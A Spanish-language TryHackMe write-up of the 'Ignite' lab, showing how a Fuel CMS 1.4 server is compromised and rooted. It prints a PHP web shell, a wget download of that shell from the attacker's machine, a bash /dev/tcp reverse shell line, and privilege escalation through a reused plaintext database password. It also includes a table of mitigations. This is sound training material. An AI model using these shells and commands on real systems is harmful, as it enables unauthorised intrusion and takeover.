Ignite - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Ignite - TryHackMe

📚 Esta publicación pertenece a la colección:

Ignite - TryHackMe Walkthrough

Bienvenido a mi writeup de Ignite de TryHackMe. Una máquina Linux de dificultad fácil que se centra en la explotación de una instancia mal configurada de Fuel CMS. Esta máquina demuestra cómo un CMS en fase de instalación con credenciales por defecto puede permitir acceso remoto y cómo las credenciales almacenadas sin encriptar en archivos de configuración comprometen toda la seguridad del sistema.

Room: Ignite
Dificultad: Easy
OS: Linux (Ubuntu)
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.82.137.45

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Comienzo verificando que la máquina está activa:

ping -c1 10.82.137.45

Obtengo respuesta correctamente, indicando que el host está disponible. El TTL observado (alrededor de 64) indica que posiblemente sea Linux.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Realizo un escaneo SYN con detección de versiones para identificar los servicios abiertos:

nmap -sSV -T4 10.82.137.45
  • -sS → SYN scan (stealth)
  • -sV → Detección de versiones
  • -T4 → Plantilla de tiempo agresiva

Resultado nmap del escaneo de puertos

El escaneo revela que únicamente el puerto 80 está abierto, ofreciendo un servicio HTTP. Esto sugiere que nos enfrentamos a una aplicación web como vector de ataque principal.

📁 Fase 2: Enumeración

Exploración de la Página Web

Accedo a la dirección IP a través del navegador y observo una página de bienvenida:

Página web de Fuel CMS

La página indica que se trata de Fuel CMS versión 1.4 en fase de instalación. El título "Welcome to FUEL CMS" y el contenido de la página sugieren que la aplicación aún no ha sido completamente configurada.

Búsqueda Inicial de Directorios

Compruebo si existe el archivo robots.txt para identificar directorios restringidos:

Contenido de robots.txt

El archivo robots.txt existe y contiene la línea Disallow: /fuel/, indicando que hay un panel administrativo en esa ruta. Accedo a http://10.82.137.45/fuel/ y encuentro una página de login del CMS.

Búsqueda de Vulnerabilidades Conocidas

Ejecuto searchsploit para identificar vulnerabilidades en Fuel CMS 1.4:

searchsploit Fuel CMS 1.4

Encuentro varias vulnerabilidades RCE disponibles, incluyendo scripts en Python que permiten ejecutar comandos remotos. Presto especial atención a:

Fuel CMS 1.4.1 - Remote Code Execution (3) | php/webapps/50477.py

Enumeración con WhatWeb

Utilizo whatweb para obtener información adicional sobre los servicios web:

whatweb http://10.82.137.45
▶ output
http://10.82.137.45 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.82.137.45], JQuery[1.7.1], Script, Title[Welcome to FUEL CMS]

El servidor está ejecutando Apache 2.4.18 en Ubuntu. Corrobora que es una instalación Linux estándar.

Credenciales por Defecto

La página de instalación de Fuel CMS proporciona información valiosa: menciona que las credenciales por defecto del administrador son admin:admin. Pruebo estas credenciales en el panel de login /fuel/ y compruebo que son válidas.

Configuración de base de datos revelada

Logro acceder al panel de administración, aunque no encuentro funcionalidades explotables desde la interfaz de usuario.

🚀 Fase 3: Explotación

Descarga del Exploit

Descargar el exploit encontrado en searchsploit:

searchsploit -m 50477

El archivo 50477.py se descarga en mi equipo. Examino su contenido y veo que requiere únicamente la URL objetivo como parámetro.

Ejecución del Exploit RCE

Ejecuto el exploit con la IP objetivo:

python 50477.py -u http://10.82.137.45

Explotación satisfactoria

¡El exploit funciona! Obtengo acceso remoto de código y puedo ejecutar comandos en la máquina objetivo.

🚩 Flag de Usuario

Ahora que tengo ejecución de comandos remota, busco la primera flag en el directorio del usuario:

cat /home/www-data/flag.txt

Logro leer la flag de usuario desde esta ubicación.

⬆️ Fase 4: Escalada de Privilegios

Establecimiento de Web Shell

Para obtener un acceso más estable y funcional, creo una web shell PHP en mi máquina local:

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>".shell_exec($_REQUEST['cmd'])."</pre>";
}
?>

Lanzo un servidor HTTP local en mi máquina:

python3 -m http.server 1234 --bind 192.168.205.78

Desde el RCE inicial, descargo la web shell en la raíz del servidor:

wget http://192.168.205.78:1234/webshell.php -O /var/www/html/webshell.php

Ahora puedo acceder a http://10.82.137.45/webshell.php?cmd=id para ejecutar comandos de forma más interactiva.

NOTA DEL XHETIC FUTURO: Este paso es una tonteria porque paso de RCE a RCE. Lo lógico hubiera sido crear una revshell directamente.

Obtención de Reverse Shell

Para obtener una terminal completa, me pongo en escucha con netcat en mi máquina:

nc -nlvp 4444

Desde la web shell, ejecuto una reverse shell en bash:

bash -c 'bash -i >& /dev/tcp/192.168.205.78/4444 0>&1'
▶ output
listening on [any] 4444 ...
connect to [192.168.205.78] from (UNKNOWN) [10.82.137.45] 56789
bash-4.3$

Mejoro la terminal interactiva usando Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ahora tengo una sesión bash funcional desde la que puedo ejecutar comandos más complejos.

Búsqueda de Escalada

Intento los métodos estándar de escalada de privilegios. Primero, compruebo si el usuario actual puede ejecutar comandos sudo:

sudo -l

No hay ningún privilegio sudo útil disponible.

Busco archivos SUID que pudieran permitir escalada:

find / -perm -4000 2>/dev/null

Los resultados no muestran puntos de escalada obvios a través de SUID.

Compruebo también si hay trabajos cron activos:

crontab -l

Sin resultados relevantes.

Enumeración de Archivos de Configuración

Recordando que Fuel CMS está aún en instalación, examino los archivos de configuración del CMS. Navego a la carpeta de configuración:

cat /var/www/html/fuel/application/config/database.php
▶ output
$config = array(
  'active' => 'default',
  'default' => array(
      'dsn' => '',
      'hostname' => 'localhost',
      'username' => 'root',
      'password' => 'mememe',
      'database' => 'fuel',
      'dbdriver' => 'mysqli',
  ),
);

El archivo de configuración contiene las credenciales de la base de datos especificadas en texto plano:

  • usuario: root
  • contraseña: mememe

Escalada a Root

Intento cambiar al usuario root re-usando estas credenciales:

su root

Cuando me solicita la contraseña, ingreso mememe:

Password: mememe
▶ output
root@ignite:/home/www-data#

¡Estoy dentro como root! Las credenciales de la base de datos coinciden con la contraseña de root del sistema, permitiendo la escalada completa.

Verificación de Acceso Root

Compruebo que tengo acceso completo al sistema:

whoami
▶ output
root

Ahora puedo acceder a cualquier archivo del sistema, incluyendo la flag de root.

🚩 Flag de Root

La flag de root se encuentra en el siguiente directorio:

/root/root.txt

📊 Resumen

Cadena de Ataque

nmap → Identificación Fuel CMS 1.4 → Login admin (credenciales defecto) → RCE Exploit → Reverse Shell → Descubrimiento credenciales en configuración → Escalada a root

Herramientas Utilizadas

  • nmap — Escaneo de puertos y detección de versiones
  • searchsploit — Búsqueda de exploits conocidos
  • whatweb — Enumeración de servicios web
  • Python — Ejecución del exploit RCE
  • netcat — Escucha de reverse shell
  • bash — Ejecución de comandos reverse shell
  • Acceso a archivos de configuración — Extracción de credenciales

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadDescripciónMitigación
Fuel CMS RCEExploit conocido en versión 1.4 permite ejecución remota de códigoActualizar a versión parcheada o aplicar filtros WAF
Credenciales por DefectoPanel admin usa credenciales por defecto sin cambio requeridoObligar cambio de credenciales en primer login
Credenciales en Texto PlanoCredenciales de base de datos almacenadas sin encriptación en archivos de configuraciónUsar variables de entorno o gestores de secretos
Reutilización de CredencialesContraseña de BD idéntica a la de usuario rootImplementar políticas de contraseñas diferentes por servicio
Robot.txt ExpuestoEl archivo robots.txt revela directorios administrativosAunque estándar, refuercer acceso al /fuel/ con autenticación

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.